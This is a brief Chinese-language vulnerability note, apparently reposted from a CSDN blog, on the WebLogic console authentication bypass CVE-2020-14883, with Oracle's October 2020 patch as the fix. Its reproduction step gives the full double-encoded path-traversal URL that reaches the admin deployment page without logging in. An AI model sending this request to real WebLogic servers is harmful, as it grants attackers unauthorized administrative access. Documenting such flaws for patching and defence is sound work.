weblogic权限绕过漏洞(CVE-2020-14883)

发布时间：2023年12月28日

漏洞描述：

未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,成功登录后台。

复现过程：

1.访问http://ip：port/console

2.访问

http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28"com.bea%3AName%3Dbase_domain%2CType%3DDomain"%29

修复建议：

及时更新补丁，参考oracle官网发布的补丁:

Oracle Critical Patch Update Advisory - October 2020

Oracle Critical Patch Update Advisory - October 2020 (Traditional Format)

文章来源:https://blog.csdn.net/m0_65150886/article/details/135246715
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系我的编程经验分享网邮箱：chenni525@qq.com进行投诉反馈，一经查实，立即删除！